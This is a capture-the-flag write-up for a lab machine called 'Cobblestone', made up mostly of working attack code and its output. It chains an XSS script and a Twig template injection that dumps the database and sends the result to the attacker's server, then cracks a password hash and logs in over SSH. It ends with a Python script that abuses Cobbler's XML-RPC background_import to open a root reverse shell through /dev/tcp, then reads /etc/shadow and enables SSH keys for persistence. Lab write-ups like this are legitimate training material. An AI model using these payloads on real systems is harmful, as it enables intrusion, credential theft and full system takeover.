19TH AUGUST, 2025
[+]UPDATE
Patched two intended vectors.
First, an SQL file write was introduced when the machine was upgraded to mariadb version 10.11.11. This version grants CAP_DAC_OVERWRITE and CAP_AUDIT_WRITE to the mariadb binary, allowing the database to access any file as a non-root user. Upgraded mariadb again to newer version that removes these capabilities.
Second, mitigated an issue where a webshell could be uploaded using specially crafted image files.
Brief Intended Method
- I am busy so I will add more detail at a later time, sort of spliced old WU with new intended method
- Enumeration led to finding XSS+SSTI in Twig to fetch js payload and execute limited RCE
- Eventually find db creds and can craft a payload to dump db for user hash
- Root privesc remains the same as before with many possible RCE and File Read payloads
- Just had to portfwd the ssh as user in order to interact with API for root privesc as
www-datashell no longer an option from SQLi
Enum
- As always initial port scans
$ export IP=10.129.40.96
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] Automatically increasing ulimit value to 10000.
Open 10.129.40.96:22
Open 10.129.40.96:80
*snip*
Nmap scan report for cobblestone.htb (10.129.40.96)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4szy00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=
| 256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs
80/tcp open http syn-ack Apache httpd 2.4.62
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Cobblestone - Official Website
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel- Update /etc/hosts
$ echo "$IP cobblestone.htb" | sudo tee -a /etc/hosts- We have a homepage

Endpoints
deploy.cobblestone.htb vote.cobblestone.htb mc.cobblestone.htb
- Update /etc/hosts
{Need to add more details for intended method}
User
sql.js
fetch("http://cobblestone.htb/preview_banner.php", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "first={{['mysqldump -h localhost -u dbuser -paichooDeeYanaekungei9rogi0eMuo2o cobblestone']|filter('system')}}",
})
.then((r) => r.text())
.then((result) => {
fetch("http://<IP>:<PORT>/?=" + btoa(result))
})- Trigger the attack chain and catch results in HTTP server
USER="asdf$RANDOM"
curl -X POST http://cobblestone.htb/register.php \
-d "username=$USER&first=asdf&last=asdf&email=$USER@asdf.com&password=asdfasdf" \
-c asdf.txt 2>/dev/null
curl -X POST http://cobblestone.htb/login_verify.php \
-d "username=$USER&password=asdfasdf" \
-c asdf.txt 2>/dev/null
curl -b asdf.txt -X POST http://cobblestone.htb/suggest_skin.php \
-d 'username=<script src="http://<IP>:<PORT>/sql.js"></script>&name=Exploit&url=asdf' \
2>/dev/null- Base64 and HTML decode results to see user hash and crack it
10.129.40.96 - - [21/Aug/2025 11:24:10] "GET /?=PGgxIGNsYXNzPSJ0ZXh0LWxpZ2h0IGRpc3BsYXktMyI+V2VsY29tZSAvKk0hOTk5OTk5XC0gZW5hYmxlIHRoZSBzYW5kYm94IG1vZGUgKi8gCi0tIE1hcmlhREIgZHVtcCAxMC4xOS0xMi4wLjItTWFyaWFEQiwgZm9yIGRlYmlhbi1saW51eC1nbnUgKHg4Nl82NCkKLS0KLS0gSG9zdDogbG9jYWxob3N0ICAgIERhdGFiYXNlOiBjb2JibGVzdG9uZQotLSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLS0gU2VydmVyIHZlcnNpb24JMTIuMC4yLU1hcmlhREItZGViMTItbG9nCgovKiE0MDEwMSBTRVQgQE9MRF9DSEFSQUNURVJfU0VUX0NMSUVOVD1AQENIQVJBQ1RFUl9TRVRfQ0xJRU5UICovOwovKiE0MDEwMSBTRVQgQE9MRF9DSEFSQUNURVJfU0VUX1JFU1VMVFM9QEBDSEFSQUNURVJfU0VUX1JFU1VMVFMgKi87Ci8qITQwMTAxIFNFVCBAT0xEX0NPTExBVElPTl9DT05ORUNUSU9OPUBAQ09MTEFUSU9OX0NPTk5FQ1RJT04gKi87Ci8qITQwMTAxIFNFVCBOQU1FUyB1dGY4bWI0ICovOwovKiE0MDEwMyBTRVQgQE9MRF9USU1FX1pPTkU9QEBUSU1FX1pPTkUgKi87Ci8qITQwMTAzIFNFVCBUSU1FX1pPTkU9JiMwMzk7KzAwOjAwJiMwMzk7ICovOwovKiE0MDAxNCBTRVQgQE9MRF9VTklRVUVfQ0hFQ0tTPUBAVU5JUVVFX0NIRUNLUywgVU5JUVVFX0NIRUNLUz0wI...
*snip*INSERT INTO `users` VALUES
(1,'admin','admin','admin','admin@cobblestone.htb','admin','f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1','*'),
(2,'cobble','cobble','stone','cobble@cobblestone.htb','admin','20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d','*'),- Crack hash for
cobble
$ hashcat -m 1400 -a 0 '20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d' /usr/share/wordlists/rockyou.txt
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d:iluvdannymorethanyouknow- SSH as cobble
$ sshpass -p 'iluvdannymorethanyouknow' ssh cobble@IP
cobble@cobblestone:~$ ls
user.txt
cobble@cobblestone:~$ id
-rbash: id: command not foundRoot
- rbash restricts
cobbleuser to the point of no available privesc easily and I circled back towww-data - Escaping
rbashbased on the available binaries tocobblemight not even be possible - However as we can see
cobblerdis running on unusual port 25151
cobble@cobblestone:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
*snip*
root 1127 0.1 1.7 145096 69036 ? Ss 08:22 0:00 /usr/bin/python3 /usr/local/bin/cobblerd -F
cobble@cobblestone:~$ ss -tulp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 5 127.0.0.1:25151 0.0.0.0:*- Cobbler uses this as default port (XML-RPC) and runs as root
- Attempting default credentials
cobbler:cobblershows successful authentication (there is also an auth bypass CVE) - Let’s use our SSH as cobbler to portfwd this Cobbler API
$ sshpass -p 'iluvdannymorethanyouknow' ssh -L 25151:127.0.0.1:25151 cobble@cobblestone.htb- Enumerating viable attack paths I stumbled across full root RCE via cmd injection through background_import
- Team members found public script floating around utilizing template_files as read only exploit
- Seems
shell=Truewas patched out completely in more recent versions, patching this particular RCE opportunity - Compared source to newer source to determine changes
- There were several other valid RCE opportunities, but I will just detail the cleanest approach I found.

Cobbler example
# vulnerable cmd injection
rsync_cmd += " " + rsync_flags # String concat
subprocess_call(cmd, shell=True) # Shell interprets
# was patched via
rsync_cmd.append(rsync_flags) # List append
subprocess_call(cmd, shell=False) # No shell- So we can achieve RCE using XML-RPC API call with cmd injection of background_import method (there are many others)
- By portfwding we can interact locally with Cobbler API and achieve full root RCE
- Script to send revshell as
root
root.py
#!/usr/bin/env python3
import ssl
import sys
import xmlrpc.client
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <LHOST> <LPORT>")
sys.exit(1)
IP = sys.argv[1]
PORT = sys.argv[2]
print(f"[+] Connecting to Cobbler API via localhost:25151")
c = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/", context=ssl._create_unverified_context(), allow_none=True)
print(f"[+] Logging in with cobbler:cobbler")
t = c.login("cobbler", "cobbler")
print(f"[+] Token: {t}")
print(f"[+] Triggering reverse shell to {IP}:{PORT}")
result = c.background_import({"path": "/tmp", "name": f"$(bash -c 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1')"}, t)
print(f"[+] Result: {result}")- Start listener and execute the script for instant root!
- Assumes
/etc/hostsis correct
$ export LHOST=
$ export LPORT=
$ nc -nlvp $LPORT & python root.py $LHOST $LPORT && fg %1
[2] 679335
listening on [any] 6969 ...
[+] Connecting to Cobbler API via localhost:25151
[+] Logging in with cobbler:cobbler
[+] Token: NZzu42s45NBzYJAhysz8zHVsSoxJ48IjcQ==
[+] Triggering reverse shell to 10.10.14.131:6969
[+] Result: 2025-08-20_033923_Media import_31b6ecb7be1d4d83ab98c9879ebd50a0
[1] - 679132 running nc -nlvp $LPORT
connect to [10.10.14.131] from (UNKNOWN) [10.129.40.96] 35600
bash: cannot set terminal process group (1127): Inappropriate ioctl for device
bash: no job control in this shell
root@cobblestone:/$ id
uid=0(root) gid=0(root) groups=0(root)
root@cobblestone:/$ cat /root/root.txt
60a09382ef90246db3e72c018abe5f8a
root@cobblestone:/$ cat /etc/shadow
root:$y$j9T$GkvDOmNntXI/Ewjpng7nM.$0J4ZYo3xXXfM7SfPKZ67Y.wY./PmrX7/bXDywzXSPr2:19993:0:99999:7:::
cobble:$y$j9T$f3bI5YQItFNvEEL8PKykT/$9WNiwpF59w4Mk84C8evmIn8.t9IRjRf/FphzbwYLt80:19993:0:99999:7:::- If you want to add your own ssh key to root, you will have to enable public key authentication
sed -i 's/^PubkeyAuthentication no/PubkeyAuthentication yes/' /etc/ssh/sshd_config
grep "PubkeyAuthentication" /etc/ssh/sshd_config
sed -i 's/^#AuthorizedKeysFile/AuthorizedKeysFile/' /etc/ssh/sshd_config
grep "AuthorizedKeysFile" /etc/ssh/sshd_config
systemctl restart ssh